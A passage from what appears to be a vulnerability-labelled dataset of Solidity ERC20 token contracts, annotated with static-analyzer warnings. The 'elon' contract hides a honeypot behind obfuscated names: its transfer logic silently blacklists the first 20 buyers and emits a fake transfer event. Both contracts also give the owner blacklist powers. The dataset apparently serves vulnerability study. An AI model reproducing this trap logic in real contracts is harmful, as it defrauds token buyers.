cf1f305: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 28;\n\n\t// WARNING Optimization Issue (constable-states | ID: d94efae): FREEDOM._reduceSellTaxAt should be constant \n\t// Recommendation for d94efae: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 28;\n\n\t// WARNING Optimization Issue (constable-states | ID: 066e8e9): FREEDOM._preventSwapBefore should be constant \n\t// Recommendation for 066e8e9: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 28;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Kamala Harris\";\n\n string private constant _symbol = unicode\"FREEDOM\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 30530e8): FREEDOM._taxSwapThreshold should be constant \n\t// Recommendation for 30530e8: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1100000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 78ebc5a): FREEDOM._maxTaxSwap should be constant \n\t// Recommendation for 78ebc5a: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 11000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xcbfF9bb8cbAc502f63231E96a2268AeFFD94130D);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ad1ab3c): FREEDOM.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for ad1ab3c: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c23461f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c23461f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a5002d6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a5002d6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: c23461f\n\t\t// reentrancy-benign | ID: a5002d6\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: c23461f\n\t\t// reentrancy-benign | ID: a5002d6\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6fd8ede): FREEDOM._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6fd8ede: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: a5002d6\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: c23461f\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d5e7307): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d5e7307: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4876d68): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4876d68: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: d5e7307\n\t\t\t\t// reentrancy-eth | ID: 4876d68\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: d5e7307\n\t\t\t\t\t// reentrancy-eth | ID: 4876d68\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 4876d68\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 4876d68\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 4876d68\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: d5e7307\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 4876d68\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 4876d68\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: d5e7307\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: d5e7307\n\t\t// reentrancy-events | ID: c23461f\n\t\t// reentrancy-benign | ID: a5002d6\n\t\t// reentrancy-eth | ID: 4876d68\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: d5e7307\n\t\t// reentrancy-events | ID: c23461f\n\t\t// reentrancy-eth | ID: 4876d68\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 818756c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 818756c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: fc2ea03): FREEDOM.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for fc2ea03: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 506282d): FREEDOM.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 506282d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: bdde38b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for bdde38b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 818756c\n\t\t// reentrancy-eth | ID: bdde38b\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 818756c\n\t\t// unused-return | ID: 506282d\n\t\t// reentrancy-eth | ID: bdde38b\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 818756c\n\t\t// unused-return | ID: fc2ea03\n\t\t// reentrancy-eth | ID: bdde38b\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 818756c\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: bdde38b\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10674.sol",
"size_bytes": 19895,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f115cb8): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for f115cb8: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: f115cb8\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract elon is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n uint256 private constant _x0xNRWY5372 = 0x123456;\n\n uint256 private constant _x0xHLXZ9283 = 0xABCDEF;\n\n\t// WARNING Optimization Issue (constable-states | ID: e7a634f): elon.blacklistCount should be constant \n\t// Recommendation for e7a634f: Add the 'constant' attribute to state variables that never change.\n uint256 public blacklistCount = 20;\n\n uint256 public currentBuyCount = 0;\n\n mapping(address => bool) private initialBuyers;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d5eb8ba): elon._taxWallet should be immutable \n\t// Recommendation for d5eb8ba: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 59a425f): elon._0xFTVQ2045 should be constant \n\t// Recommendation for 59a425f: Add the 'constant' attribute to state variables that never change.\n uint256 private _0xFTVQ2045 = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: ec04796): elon._x3JLRW6073 should be constant \n\t// Recommendation for ec04796: Add the 'constant' attribute to state variables that never change.\n uint256 private _x3JLRW6073 = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4e7f9cd): elon._x7KQYTZ should be constant \n\t// Recommendation for 4e7f9cd: Add the 'constant' attribute to state variables that never change.\n uint256 private _x7KQYTZ = 0;\n\n uint256 private _x5MRVX8027 = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: fe41a49): elon._x2NQWL953 should be constant \n\t// Recommendation for fe41a49: Add the 'constant' attribute to state variables that never change.\n uint256 private _x2NQWL953 = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2c22a85): elon._xGLYZ14 should be constant \n\t// Recommendation for 2c22a85: Add the 'constant' attribute to state variables that never change.\n uint256 private _xGLYZ14 = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5c47e25): elon._x1BRQP7K6 should be constant \n\t// Recommendation for 5c47e25: Add the 'constant' attribute to state variables that never change.\n uint256 private _x1BRQP7K6 = 15;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 200_000_000 * 10 ** _decimals;\n\n string private _name;\n\n string private _symbol;\n\n uint256 public _x5KVZL9T3 = (_tTotal * 2) / 100;\n\n uint256 public _x0PWXT5F9 = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5f760db): elon._x6MRWYP2 should be constant \n\t// Recommendation for 5f760db: Add the 'constant' attribute to state variables that never change.\n uint256 public _x6MRWYP2 = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 527ebc2): elon._maxTaxSwap should be constant \n\t// Recommendation for 527ebc2: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private x3PLTYX6 = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _x5KVZL9T3);\n\n modifier lockTheSwap() {\n x3PLTYX6 = true;\n\n _;\n\n x3PLTYX6 = false;\n }\n\n constructor(string memory name_, string memory symbol_) payable {\n _name = name_;\n\n _symbol = symbol_;\n\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n event ChecksumEvent(uint256 indexed dummyness0xEPYV7129);\n\n function checksum0xCVTQ6104() private pure {}\n\n function checksum0xDMKZ3047() private pure {}\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bac5f61): elon.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for bac5f61: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9324970): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9324970: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f627146): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f627146: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 9324970\n\t\t// reentrancy-benign | ID: f627146\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 9324970\n\t\t// reentrancy-benign | ID: f627146\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6ee2803): elon._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6ee2803: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: f627146\n\t\t// reentrancy-benign | ID: 4546e15\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 9324970\n\t\t// reentrancy-events | ID: cad8329\n emit Approval(owner, spender, amount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a < b) ? a : b;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f1a14c2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f1a14c2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: cc3a220): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for cc3a220: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to] &&\n !initialBuyers[to]\n ) {\n currentBuyCount++;\n\n initialBuyers[to] = true;\n\n if (currentBuyCount <= blacklistCount) {\n bots[to] = true;\n\n emit Transfer(from, to, 0);\n }\n }\n\n taxAmount = amount\n .mul((_buyCount > _x2NQWL953) ? _x7KQYTZ : _0xFTVQ2045)\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _x5KVZL9T3, \"Exceeds the _x5KVZL9T3.\");\n\n require(\n balanceOf(to) + amount <= _x0PWXT5F9,\n \"Exceeds the x0PWXT5F9.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul((_buyCount > _xGLYZ14) ? _x5MRVX8027 : _x3JLRW6073)\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !x3PLTYX6 &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _x6MRWYP2 &&\n _buyCount > _x1BRQP7K6\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: f1a14c2\n\t\t\t\t// reentrancy-eth | ID: cc3a220\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: f1a14c2\n\t\t\t\t\t// reentrancy-eth | ID: cc3a220\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: cc3a220\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: cc3a220\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: cc3a220\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: f1a14c2\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: cc3a220\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: cc3a220\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: f1a14c2\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 9324970\n\t\t// reentrancy-events | ID: f1a14c2\n\t\t// reentrancy-events | ID: cad8329\n\t\t// reentrancy-benign | ID: f627146\n\t\t// reentrancy-benign | ID: 4546e15\n\t\t// reentrancy-eth | ID: cc3a220\n\t\t// reentrancy-eth | ID: 0ba1f69\n\t\t// reentrancy-eth | ID: d2151ce\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits_x7PLWX5038() external onlyOwner {\n _x5KVZL9T3 = _tTotal;\n\n _x0PWXT5F9 = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 2fbc576): elon.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 2fbc576: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 9324970\n\t\t// reentrancy-events | ID: f1a14c2\n\t\t// reentrancy-events | ID: cad8329\n\t\t// reentrancy-eth | ID: cc3a220\n\t\t// reentrancy-eth | ID: 0ba1f69\n\t\t// reentrancy-eth | ID: d2151ce\n\t\t// arbitrary-send-eth | ID: 2fbc576\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: cad8329): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for cad8329: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4546e15): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4546e15: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 58731e8): elon.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 58731e8: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 50c2426): elon.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 50c2426: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0ba1f69): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0ba1f69: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d2151ce): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d2151ce: Apply the check-effects-interactions pattern (see 